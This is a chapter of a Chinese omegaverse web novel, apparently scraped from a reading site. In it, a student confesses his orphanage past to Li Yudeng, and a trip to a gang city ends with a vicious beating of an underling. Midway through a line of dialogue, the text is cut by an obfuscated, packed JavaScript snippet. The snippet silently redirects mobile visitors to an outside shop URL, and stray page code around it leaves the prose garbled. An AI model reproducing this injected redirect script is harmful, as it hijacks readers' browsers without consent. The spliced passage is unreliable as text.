文趣网 > 都市小说 > 李玉灯 > 10. 拥抱局
    中午,李玉灯打电话让薄听来吃饭。

    虽然之前有过邀请,但是他似乎对麻烦别人这件事非常不好意思,对待这样的孩子,长辈就要主动一些才好。

    薄听刚来,就看到了别墅外的一只大白狗。

    “这是您刚养的狗吗?”

    李玉灯点点头:“是我救助的小狗,这段时间放在家里给他找找领养人呢,不过他好像有点太依赖我了,连洗澡也要在外面蹲着,像是缺乏安全感的类型……来,小白。”

    大白狗站起来,哈赤哈赤喘着气,把狗嘴放在李玉灯的手心,舌头亮晶晶地滴口水,被漂亮的主人拿纸巾按住狗嘴。

    “坏宝宝,脏。”

    大白狗嗷呜嗷呜地叫,给自己辩解。

    李玉灯又说:“好啦……我知道不是你的错,所有小狗的嘴巴都是这样的。”

    沈知修站在李玉灯身边,看着他们互动,对薄听笑笑:“小白是容容救回来的,他也只和容容比较亲近。你看我……”

    他对大白狗伸出手招呼了下,“过来,小白。”

    小白顿时龇起牙,尾巴也从上束压低,戒备态度十分明确。

    李玉灯拍拍它的狗头:“不要对爸爸这么凶哦,他是个好人。”

    薄听:“它能听懂吗?”

    “不管能不能听懂,都是需要交流的。”李玉灯让狗下去自己玩,“小狗的情绪,和人的情绪一样,哪怕不说话也能看出来呢。如果放任不管,会让小狗很伤心。”

    薄听:“老师之前说,小白还在找人领养吗?”

    李玉灯抬起头,“你想养吗?”

    “没有。”薄听摇了摇头,看着正兴高采烈绕着李玉灯转圈,拿头顶着他的腿往前推的小狗,“我只是觉得它很喜欢您。”

    动物的爱都是很明确的。

    它的期待、牵恋、真挚的情感,都一股脑地投入了李玉灯的身上。

    “当您已经成为它人生中最特殊的那一个后,再和它分离,会不会有些太残忍了呢?”

    李玉灯愣了下,低头看了看小狗。

    “你觉得呢?小白。”

    小白低着狗脑袋用鼻子去找他的手,找到之后,就把嘴筒子搁在上面,葡萄似的眼睛看着他。

    李玉灯摸摸它的头,站起身来,“我没有办法给他们很多爱,希望它能去到一个更爱它的家庭,但这样的分别,对小狗来说确实很残忍吧。”

    “好孩子,真细心。”李玉灯对薄听笑了笑,“谢谢你的提醒哦。”

    李玉灯身上真的太香了,哪怕闻一闻,薄听都觉得感到冒犯了他。

    他一张脸上没有什么表情,和李玉灯对视后低下头道,“没有。”

    并不是细心。

    他只是……有过这样的过去。

    在李玉灯离开后,他的茫然,空洞,期待像是一根刺一样,从过去到现在。

    他的脸惯常都很平淡,无论是老师还是老师的妻子都没有察觉他的情绪,他们走在前面,谈笑调侃着,亲密的氛围都快要溢出来。

    薄听的心像是一张纸,每次来到这里,都好像翻折着纸片。一次次,又一次,变得越来越小,越来越痛。

    他抬起眼睛,注视着李玉灯的背影。

    今天……一定要说出来。

    ……

    饭后,李玉灯靠在橱柜旁观看塞缪尔打理卫生。

    机器人已经是非常成熟的技术了,一开始有人类对机器人产生感情的先例,所以现在研发的机器人的机械感都会更明确一些。体温也是冰凉的,只要接触到它,就会先有机器人的实感。

    这时,薄听走进厨房。

    李玉灯笑吟吟地对他打招呼,“要回学校了吗?”

    “嗯。”薄听说,“但是走之前,想和您说说话。”

    李玉灯向来是个乐于倾听的人:“好呀,你要说什么呢?”

    沉默了一会儿,只有薄听在地毯上走动,靠近他的脚步声。

    这件事,薄听考虑了太久太久,他没有办法长久地埋藏在心里。

    “您一定不记得我了。”

    李玉灯微怔,歪了下头。

    薄听还是那张沉默的脸,目光却格外炙热:“如果您还记得光明孤儿院,也许还会记得我吧,我是那个孤儿院的孩子,您曾经在那里待了一段时间。”

    “啊……”李玉灯在他冷静的陈述中回想起来了,“是啊,我记得有那么一段时光。”

    “那么您能想起我吗。”薄听忍不住又往前走了一步,“您应该清楚,您对一个孩子有多强大的吸引力啊。”

    李玉灯下意识看了一眼客厅。

    “老师到楼上拿资料了,”薄听说,“他不会听到的,这是我们之间的对话。”

    李玉灯目光中带着歉意,“实话说,我不记得了。我去过很多孤儿院,见过太多孩子了,所以我不记得你,抱歉。”

    “是我意料之中的事情,所以没关系。”

    薄听眼中的光亮熠熠生辉,“您不知道,我有多想见到您,我以为在回忆里我会美化属于我们的记忆,但是再见到您的时候,发现根本一点美化成分都没有。第一次跟着老师进入这里,我看到您的那一瞬间,几乎快要疯了,完全哑口无言。”

    强壮高大的alpha在情绪的驱使下,一步步地靠近他。

    “在我的心里,您是我的朋友,我的老师,我的长辈,我的妈妈……”薄听话音艰涩,“我想您拥抱我,像小时候一样,可以吗?”

    李玉灯没办法拒绝这样的请求,“来吧。”

    薄听走到他的面前,低下头紧紧抱住了他,omega信息素的味道暖融融地包裹他,他在馨香的体温中恍惚到快融化了。

    小时候看起来,觉得伟岸又高挑的身影,对现在的他来说,原来只是小小的一只。

    在这一瞬间,有一种界限被轻而易举地打破了。

    李玉灯轻轻拍了拍他的背,轻声说,“还好吗?”

    “我很好。”已经幸福到可以死去了。

    “对不起哦。”

    “我承受不住您的道歉。您只需要准许我以后还能像这样得到您的拥抱,我就心满意足了。您可以再抱紧一些吗,谢谢。”

    李玉灯收紧了力道,两个人的身体贴得更紧密。在这个严丝合缝的拥抱里,心跳声也无处遁形,他听到怀里的孩子传来一声有些颤抖的呼吸。

    真可怜。

    李玉灯有些惋惜,他怎么可以忘掉呢,让孩子变得这样伤心,这样缺乏安全感,完全是他的疏忽。

    塞缪尔把最后一块水渍擦干,回过头看了一眼。

    ……

    薄听需要回学校,但沈知修作为教授需要整理资料,于是留在家里的图书室里。

    李玉灯换上一件黑色的牛仔外套,拿好礼物,亲吻了丈夫后,又蹲下身亲了亲狗头就出门,塞缪尔和他一起,做司机。

    塞缪尔:“本次行程地点:可卡塞城蓝洞街333号。”

    “确认,出发吧。”

    塞缪尔:“我需要提醒您:可卡塞城黑.帮云集,斗殴事件频发,在去年被评选为‘毒.品与热武器销售量第一的城市’,请务必注意人身安全,我向您申请随身跟随的权限。”

    “好。”

    塞缪尔驾车驶入悬浮车道,一路疾驰前往可卡塞,它的声音平缓,“我有一个问题。”

    正在看风景的李玉灯转过头看向他,“什么?请说。”

    “您这次要见的朋友是谁?”塞缪尔说,“涉及您的安全,我需要保留快速报警的权限。”

    “卡蒙·雪莱地。”

    “公开数据库检索中……暂无法查询到她的个人讯息。”

    “我们在初中的时候就是非常好的朋友,但她分化很早,早早进入军校后,后面都只用终端联系,”李玉灯说,“其实我也有一点担心。”

    “那么,距离您和她上次见面,起码过了十年。”

    “对。”

    “好的,我会在本次行动中保持S+级的警惕。”塞缪尔

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830919|211326||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    说,“请您谨记,在可卡塞城中,越热情的人越无法相信。”

    李玉灯点头答应。

    塞缪尔又问他,“既然您也担心着,为什么还会前去可卡塞城和她见面?”

    “想见却见不到是一种遗憾,”李玉灯说,“如果生命有尽头,遗憾就是一种致命的毒疮。无论她有没有改变,哪怕真的很危险,我都想见她一面。”

    “无法理解,但我会履行您的命令。”

    李玉灯微笑着,“没关系啦,别太担心,我也有佩枪。”

    “您会用枪,我感觉很惊讶。”

    “塞缪尔,你的惊讶好平铺直叙呀,”李玉灯笑了声,“我会的东西很多的哦。”

    “好的,正在调整对您的爱好优先级设置。感谢您的诚实,让我对您的了解更多一点。”

    李玉灯不再说话。

    他看向窗外,绿色的城市渐行渐远,蓝色的天空逐渐变灰,他们在靠近灰色的荒漠城市,可卡塞。

    下午三点,他们逐缓缓驶入这座城市。

    这里充斥着硝烟的味道,智能科技也高度发达。

    来往的人群穿着黑色的风衣,这让他们多了神秘莫测的危险味道。他们的腿部都鼓鼓囊囊,这里藏着配枪和匕首。

    卡蒙·雪莱地站在可卡塞的哨卡点等待。

    她是一个五官锋利的alpha,眉形浓密而高挑,脸上几道浅疤让她显得更加凶悍。皮夹克外套盖住了手臂上的大片纹身,耳朵上好几枚的耳骨钉。

    在等待李玉灯到来的时候,她靠在哨卡旁的电线杆喝酒。

    其实更想抽烟。

    但尽管过了这么多年,她还是记得这个朋友不喜欢烟味。

    真是久远的时光啊,她不仅记得不爱烟味的李玉灯,也记得他白皙的脸和好看的眼睛。

    卡蒙很疑惑,难道李玉灯来到这里之前,不知道可卡塞是一个怎样的城市?

    否则,怎么会还选择来见她。

    身边穿着黑衬衫的beta和她小声密谋,“老大,他都从莫比亚城来了,一定非常有钱吧。”

    卡蒙转头看着他,眯了下眼,友善地笑着,“继续说。”

    “光是把他的车给撬了都能搞到不少钱吧。”

    “嗯嗯。”

    “是老大你的老朋友咱也不会搞太多了,顾念着您的情面要个几十万……”

    卡蒙笑得越来越大声,手下有些心惊胆战,又觉得自己应该说到了老大的心坎里。

    他正要再说,却感受到自己的头发被一股巨力抓起,反过头时看到一双布满戾气的眼睛。

    卡蒙一只手拽起他的头发,墙壁上撞了一次一次又一次,疯狂的撞击声反复重播永无止境。

    鲜红的血液流下时,她却仍然是笑着的,随手把手里的酒瓶也打碎,辛辣的酒液淅沥沥兜头浇在伤口上,beta惨叫起来,卡蒙没有丝毫同情,把酒瓶往他的脑袋上狠狠地砸,“那是我的朋友,明白吗?”

    她说这句话的时候,好像有不同的语气。

    beta却思考不了,剧烈的痛和失血让他难以忍受。

    “你以为和你们这群杂种一样吗?几十万,哈哈……几十万!敢跟他要哪怕一分钱,不要怪我不留情面。”

    她松开手,这个刚刚还带着笑谄媚说话的beta就脱力滑下,鲜血从他的脖子流到地上染了一片的红。卡蒙冷眼看着,还是不解气,又被她狠踹了几下。

    周围的路人没有一个人施舍目光,就连围在卡蒙身边的几个人也没有半点动作。

    不久,她就远远看到一辆来自莫比亚牌号的车辆驶入。

    啊,来了。

    她整理了下衣服,用手帕仔细擦干净手上和靴子上的血迹,随手扔进垃圾桶,又对手下吩咐,“带着他一起滚蛋。如果他来之前还没有准备好,后果你们清楚。”

    “是!老大。”

    几个人的行动非常高效。把beta抬起,又清理干净地上的血迹和玻璃碎片,飞快地远离哨卡点。